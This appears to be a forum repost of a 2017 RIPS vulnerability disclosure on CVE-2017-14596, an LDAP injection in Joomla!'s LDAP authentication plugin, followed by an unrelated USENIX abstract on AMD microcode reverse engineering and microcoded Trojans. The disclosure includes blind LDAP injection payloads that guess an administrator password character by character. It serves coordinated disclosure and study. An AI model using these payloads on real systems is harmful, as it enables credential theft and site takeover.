Joomla! 3.7.5 - Takeover in 20 Seconds with LDAP Injection 20 Sep 2017 by Dr. Johannes Dahse, Robin Peraglie With over 84 million downloads, Joomla! is one of the most popular content management systems in the World Wide Web. It powers about 3.3% of all websites’ content and articles. Our code analysis solution RIPS detected a previously unknown LDAP injection vulnerability in the login controller. This one vulnerability could allow remote attackers to leak the super user password with blind injection techniques and to fully take over any Joomla! <= 3.7.5 installation within seconds that uses LDAP for authentication. Joomla! has fixed the vulnerability in the latest version 3.8. Requirements - Who is affected Installations with the following requirements are affected by this vulnerability: Joomla! version 1.5 <= 3.7.5 is installed Joomla! is configured to use LDAP for authentication This is not a configuration flaw and an attacker does not need any privileges to exploit this vulnerability. Impact - What can an attacker do By exploiting a vulnerability in the login page, an unprivileged remote attacker can efficiently extract all authentication credentials of the LDAP server that is used by the Joomla! installation. These include the username and password of the super user, the Joomla! administrator. An attacker can then use the hijacked information to login to the administrator control panel and to take over the Joomla! installation, as well as potentially the web server, by uploading custom Joomla! extensions for remote code execution. Vulnerability Analysis - CVE-2017-14596 Our code analysis solution RIPS automatically identified the vulnerability that spans over the following nested code lines. First, in the LoginController the Joomla! application receives the user-supplied credentials from the login form. /administrator/components/com_login/controller.php class LoginController extends JControllerLegacy { public function login() { ⋮ $app = JFactory::getApplication(); ⋮ $model = $this->getModel('login'); $credentials = $model->getState('credentials'); ⋮ $app->login($credentials, array('action' => 'core.login.admin')); } } The credentials are passed on to the login method which then invokes the authenticatemethod. /libraries/cms/application/cms.php class JApplicationCms extends JApplicationWeb { public function login($credentials, $options = array()) { ⋮ $authenticate = JAuthentication::getInstance(); $authenticate->authenticate($credentials, $options); } } /libraries/joomla/authentication/authentication.php class JAuthentication extends JObject { public function authenticate($credentials, $options = array()) { ⋮ $plugin->onUserAuthenticate($credentials, $options, $response); } } Based on the plugin that is used for authentication, the authenticate method passes the credentials to the onUserAuthenticate method. If Joomla! is configured to use LDAP for authentication, the LDAP plugin’s method is invoked. /plugins/authentication/ldap/ldap.php class PlgAuthenticationLdap extends JPlugin { public function onUserAuthenticate($credentials, $options, &$response) { ⋮ $userdetails = $ldap->simple_search( str_replace( '[search]', $credentials['username'], $this->params->get('search_string') ) ); } } In the LDAP plugin, the username credential is embedded into the LDAP query specified in the search_string option. According to the official Joomla! documentation, the search_stringconfiguration option is “a query string used to search for the user, where [search] is directly replaced by search text from the login field”, for example “uid=[search]“. The LDAP query is then passed to the simple_search method of the LdapClient which connects to the LDAP server and performs the ldap_search. /libraries/vendor/joomla/ldap/src/LdapClient.php class LdapClient { public function simple_search($search) { $results = explode(';', $search); foreach ($results as $key => $result) { $results[$key] = '(' . $result . ')'; } return $this->search($results); } public function search(array $filters, ...) { foreach ($filters as $search_filter) { $search_result = @ldap_search($res, $dn, $search_filter, $attr); ⋮ } } } Even if RIPS is unaware of the exact LDAP query that is loaded from an external configuration file, RIPS detects and reports successfully the root cause of this vulnerability: User input is mixed unsanitized with LDAP query markup that is passed to the sensitive ldap_searchfunction. The vulnerability was detected within 7 minutes in half a million lines of Joomla! code. The truncated analysis results are available in our RIPS demo application. Please note that we limited the results to the issues described in this post in order to ensure a fix is available. See RIPS report Proof Of Concept - Blind LDAP Injection The lack of input sanitization of the username credential used in the LDAP query allows an adversary to modify the result set of the LDAP search. By using wildcard characters and by observing different authentication error messages, the attacker can literally search for login credentials progressively by sending a row of payloads that guess the credentials character by character. XXX;(&(uid=Admin)(userPassword=A*)) XXX;(&(uid=Admin)(userPassword=B*)) XXX;(&(uid=Admin)(userPassword=C*)) ... XXX;(&(uid=Admin)(userPassword=s*)) ... XXX;(&(uid=Admin)(userPassword=se*)) ... XXX;(&(uid=Admin)(userPassword=sec*)) ... XXX;(&(uid=Admin)(userPassword=secretPassword)) Each of these payloads yield exactly one out of two possible states which allow an adversary to abuse the server as an Oracle. A filter bypass is necessary for exploitation that is not covered in this blog post. With an optimized version of these payloads one bit per request can be extracted from the LDAP server which results in a highly efficient blind LDAP injection attack. Time Line Date What 2017/07/27 Provided vulnerability details and PoC to vendor 2017/07/29 Vendor confirmed security issue 2017/09/19 Vendor released fixed version Summary As one of the most popular open source CMS applications, Joomla! receives many code reviews from the security community. Yet alone one missed security vulnerability in the 500,000 lines of code can lead to a server compromise. With the help of static code analysis, RIPS detected a critical LDAP injection vulnerability (CVE-2017-14596) that remained undiscovered for over 8 years. The vulnerability allows an attacker to steal login credentials from Joomla! installations that use LDAP authentication. We would like to thank the Joomla! Security Strike Team for an excellent coordination and remediation of this issue and recommend to update to the latest Joomla! version 3.8 immediately. More about RIPS Author: Dr. Johannes Dahse CEO, Co-Founder Johannes exploits security vulnerabilities in PHP code for 10 years. He is an active speaker at academic and industry conferences and a recognized expert in this field. He achieved his Ph.D. in IT security / static code analysis at the Ruhr-University Bochum, Germany. Previously, he worked as a security consultant for leading companies worldwide. Sursa: https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/

USENIX Publicat pe 15 sept. 2017 Philipp Koppe, Benjamin Kollenda, Marc Fyrbiak, Christian Kison, Robert Gawlik, Christof Paar, and Thorsten Holz, Ruhr-University Bochum Microcode is an abstraction layer on top of the physical components of a CPU and present in most general-purpose CPUs today. In addition to facilitate complex and vast instruction sets, it also provides an update mechanism that allows CPUs to be patched in-place without requiring any special hardware. While it is well-known that CPUs are regularly updated with this mechanism, very little is known about its inner workings given that microcode and the update mechanism are proprietary and have not been throughly analyzed yet. In this paper, we reverse engineer the microcode semantics and inner workings of its update mechanism of conventional COTS CPUs on the example of AMD’s K8 and K10 microarchitectures. Furthermore, we demonstrate how to develop custom microcode updates. We describe the microcode semantics and additionally present a set of microprograms that demonstrate the possibilities offered by this technology. To this end, our microprograms range from CPU-assisted instrumentation to microcoded Trojans that can even be reached from within a web browser and enable remote code execution and cryptographic implementation attacks. View the full program: https://www.usenix.org/sec17/program